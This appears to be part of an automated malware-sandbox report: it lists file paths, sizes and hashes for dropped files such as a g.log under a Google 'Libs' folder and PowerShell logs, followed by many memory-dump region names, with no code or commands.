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g.log

Path C:\Program Files\Google\Libs\g.log
Size 226B
SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
MD5 fdba80d4081c28c65e32fff246dc46cb
SHA1 74f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA512 b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
MD5 SHA1 SHA512

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
MD5 6d42b6da621e8df5674e26b799c8e2aa
SHA1 ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA512 53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0fe043e925e73fa82b319b13b93bf563834e56d520a3c793c78655c8988b439d
MD5 04dab1e7226930c3346286e214d84945
SHA1 86718b6314c8e64616e9694736da495d3e2ae4be
SHA512 98e153baebbac0d5d20468e6abe70bb5dd7723bc5a03ae6164cb48e4921e2fb910cfb36bdb63c0ca18746bc9839d50cc353d092f98ac50739c108b35b3fe78a0
MD5 SHA1 SHA512

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__PSScriptPolicyTest_mairsyw5.g35.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mairsyw5.g35.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
MD5 bdb25c22d14ec917e30faf353826c5de
SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
MD5 SHA1 SHA512 SSDEEP

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StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
MD5 b42c70c1dbf0d1d477ec86902db9e986
SHA1 1d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA512 57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
MD5 SHA1 SHA512

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memory/748-126-0x00007FF6E3E10000-0x00007FF6E3E26000-memory.dmp

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memory/748-136-0x00007FF6E3E10000-0x00007FF6E3E26000-memory.dmp

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memory/912-140-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-156-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-134-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-133-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-131-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-129-0x00000249AECA0000-0x00000249AECC0000-memory.dmp

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memory/912-128-0x00000249AEC80000-0x00000249AECA0000-memory.dmp

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memory/912-192-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-127-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-125-0x000002499E7B0000-0x000002499E7D0000-memory.dmp

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memory/912-182-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-180-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-178-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-176-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-174-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-172-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-170-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-168-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-166-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-164-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-162-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-160-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-158-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-190-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-154-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-148-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-146-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-188-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-144-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-184-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-142-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-135-0x00000249AEC80000-0x00000249AECA0000-memory.dmp

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memory/912-138-0x00000249AECA0000-0x00000249AECC0000-memory.dmp

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memory/912-120-0x000002499E570000-0x000002499E590000-memory.dmp

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memory/912-137-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-186-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/912-121-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp

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memory/1952-51-0x00007FF85F410000-0x00007FF85FED1000-memory.dmp

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memory/1952-47-0x00007FF85F410000-0x00007FF85FED1000-memory.dmp

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memory/1952-48-0x0000016B61550000-0x0000016B61560000-memory.dmp

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memory/2208-30-0x0000027CC2A80000-0x0000027CC2A90000-memory.dmp

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memory/2208-31-0x0000027CC2A80000-0x0000027CC2A90000-memory.dmp

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memory/2208-29-0x0000027CC2A80000-0x0000027CC2A90000-memory.dmp

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memory/2208-28-0x00007FF85F410000-0x00007FF85FED1000-memory.dmp

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memory/2208-34-0x00007FF85F410000-0x00007FF85FED1000-memory.dmp

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memory/2208-32-0x0000027CC2A80000-0x0000027CC2A90000-memory.dmp

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memory/2552-0-0x00007FF6AAF70000-0x00007FF6AB181000-memory.dmp

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memory/2552-36-0x00007FF6AAF70000-0x00007FF6AB181000-memory.dmp

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memory/2692-113-0x000002E524E50000-0x000002E524E60000-memory.dmp

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memory/2692-100-0x00007FF85F410000-0x00007FF85FED1000-memory.dmp

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memory/2692-115-0x00007FF85F410000-0x00007FF85FED1000-memory.dmp

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memory/2692-112-0x000002E53F890000-0x000002E53F945000-memory.dmp

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memory/2692-101-0x000002E524E50000-0x000002E524E60000-memory.dmp

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memory/2692-102-0x000002E524E50000-0x000002E524E60000-memory.dmp

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memory/3640-78-0x00000251DC550000-0x00000251DC55A000-memory.dmp

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memory/3640-76-0x00000251DA160000-0x00000251DA170000-memory.dmp

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memory/3640-85-0x00000251DA160000-0x00000251DA170000-memory.dmp

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memory/3640-83-0x00000251DC7C0000-0x00000251DC7C6000-memory.dmp

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memory/3640-84-0x00000251DC7D0000-0x00000251DC7DA000-memory.dmp

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memory/3640-82-0x00000251DC790000-0x00000251DC798000-memory.dmp

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memory/3640-81-0x00000251DC7E0000-0x00000251DC7FA000-memory.dmp

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memory/3640-80-0x00000251DC780000-0x00000251DC78A000-memory.dmp

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memory/3640-79-0x00000251DC7A0000-0x00000251DC7BC000-memory.dmp

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memory/3640-53-0x00007FF85F410000-0x00007FF85FED1000-memory.dmp

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memory/3640-75-0x00007FF4EC570000-0x00007FF4EC580000-memory.dmp

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memory/3640-88-0x00007FF85F410000-0x00007FF85FED1000-memory.dmp

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memory/3640-77-0x00000251DC580000-0x00000251DC635000-memory.dmp

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memory/3640-74-0x00000251DC560000-0x00000251DC57C000-memory.dmp

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memory/3640-54-0x00000251DA160000-0x00000251DA170000-memory.dmp

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memory/3640-55-0x00000251DA160000-0x00000251DA170000-memory.dmp

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memory/3988-16-0x00007FF85F410000-0x00007FF85FED1000-memory.dmp

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memory/3988-12-0x00000138A23C0000-0x00000138A23D0000-memory.dmp

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memory/3988-13-0x00000138A23C0000-0x00000138A23D0000-memory.dmp

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memory/3988-4-0x00007FF85F410000-0x00007FF85FED1000-memory.dmp

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memory/3988-1-0x00000138BCAF0000-0x00000138BCB12000-memory.dmp

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memory/4972-119-0x00007FF6E6BE0000-0x00007FF6E6DF1000-memory.dmp

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memory/4972-52-0x00007FF6E6BE0000-0x00007FF6E6DF1000-memory.dmp

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